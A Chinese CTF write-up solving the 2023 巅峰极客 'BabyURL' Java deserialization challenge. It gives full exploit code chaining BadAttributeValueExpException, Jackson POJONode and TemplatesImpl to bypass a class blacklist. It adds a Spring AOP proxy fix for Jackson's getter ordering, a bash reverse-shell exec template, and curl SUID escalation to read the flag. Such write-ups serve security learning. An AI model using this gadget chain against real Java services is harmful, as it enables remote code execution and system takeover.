2023巅峰极客 BabyURL

附件下载

1
docker run -it -d -p 12345:8080 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23}" lxxxin/dfjk2023_babyurl

这道题有两种解法,一个是SignedObject二次反序列化,一个是绕过黑名单打TemplatesImpl,最近在学习后者因此这里只提及后者做法

拿到反编译后的代码可以看到整体结构比较简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@GetMapping({"/hack"})
@ResponseBody
public String hack(@RequestParam String payload) {
byte[] bytes = Base64.getDecoder().decode(payload.getBytes(StandardCharsets.UTF_8));
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);

try {
ObjectInputStream ois = new MyObjectInputStream(byteArrayInputStream);
URLHelper o = (URLHelper)ois.readObject();
System.out.println(o);
System.out.println(o.url);
return "ok!";
} catch (Exception var6) {
Exception e = var6;
e.printStackTrace();
return e.toString();
}
}

这里重写了ObjectInputStream类,自定义了新的反序列化规则,并构造了一个反序列化前缀黑名单

1
2
3
4
5
java.net.InetAddress
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
com.yancao.ctf.bean.URLVisiter
com.yancao.ctf.bean.URLHelper

image-20250327211613015

从依赖包中可以看到没有额外依赖库可以使用,但Jackson这个依赖是存在这个spring-boot-starter-web依赖中的

image-20250327203002762

由于TemplatesImpl 是 JDK 中的原生类,因此我们可以通过Jackson库中的POJONode类的toString()方法触发触发TemplatesImpl的getOutputProperties()方法,而BadAttributeValueExpException 在反序列化时会调用 toString()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
public class Main {

public static void main(String[] args) throws Exception {
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, (ProtectionDomain)null);
} catch (Exception var11) {
}

byte[] code = getTemplates();//用javassist获取
byte[][] codes = {code};

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "evil");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", codes);

POJONode node = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);

setFieldValue(val, "val", node);

System.out.println(serial(val));
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"bash -c {echo,}|{base64,-d}|{bash,-i}\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}

解决Jackson反序例化链子的不稳定性

但我们会发现报错

image-20250327212800182

image-20250327214854063

这与Jackson反序例化链子的不稳定性有关,从JSON1链中学习处理JACKSON链的不稳定性

com.fasterxml.jackson.databind.ser.std.BeanSerializerBase#serializeFields

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
protected void serializeFields(Object bean, JsonGenerator gen, SerializerProvider provider) throws IOException {
BeanPropertyWriter[] props;
if (this._filteredProps != null && provider.getActiveView() != null) {
props = this._filteredProps;
} else {
props = this._props;
}

int i = 0;

try {
for(int len = props.length; i < len; ++i) {
BeanPropertyWriter prop = props[i];
if (prop != null) {
prop.serializeAsField(bean, gen, provider);
}
}

if (this._anyGetterWriter != null) {
this._anyGetterWriter.getAndSerialize(bean, gen, provider);
}
} catch (Exception var9) {
String name = i == props.length ? "[anySetter]" : props[i].getName();
this.wrapAndThrow(provider, var9, bean, name);
} catch (StackOverflowError var10) {
StackOverflowError e = var10;
DatabindException mapE = new JsonMappingException(gen, "Infinite recursion (StackOverflowError)", e);
String name = i == props.length ? "[anySetter]" : props[i].getName();
mapE.prependPath(bean, name);
throw mapE;
}

}

Jackson在序列化 TemplatesImpl 时会尝试序列化其所有属性,这里我们用java原生反序列化包含Jackson的类,并在这里下断点,当JVM尝试重建这个POJONode对象时,会调用Jackson的序列化相关代码,因此触发了 BeanSerializerBase#serializeFields 方法;

此时 stylesheetDOMoutputProperties 之前

1
2
3
transletindex
stylesheetDOM
outputProperties

所以 getStylesheetDOM 会先于 getOutputProperties 触发。当 getStylesheetDOM 方法先被触发时,由于 _sdom 成员为空,会导致空指针报错,反序列化攻击失败

因此这里的解决办法是通过Spring AOP的JDK动态代理来包装 TemplatesImpl 对象

1
2
3
4
5
6
7
8
9
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);

POJONode node = new POJONode(proxyObj);

首先获取动态代理的实现类,创建AdvisedSupport实例,设置目标对象为我们的templates(TemplatesImpl实例),而我们之前POJONode现在封装了这个代理对象,这个代理对象的toString() 方法会在BadAttributeValueExpException反序列化时被触发,当代理对象的任何方法被调用时,都会转到这个handler的 invoke 方法,invoke 方法会将调用转发给目标对象(这里是 TemplatesImpl),最终触发其getter方法

image-20250327231347815

可以看到现在只有一个 propsoutputProperties

现在我们就可以弹shell了

image-20250327231607302

这里还得提权,一个curl的SUID提权

image-20250327231720438

1
curl file:///flag

image-20250327231913079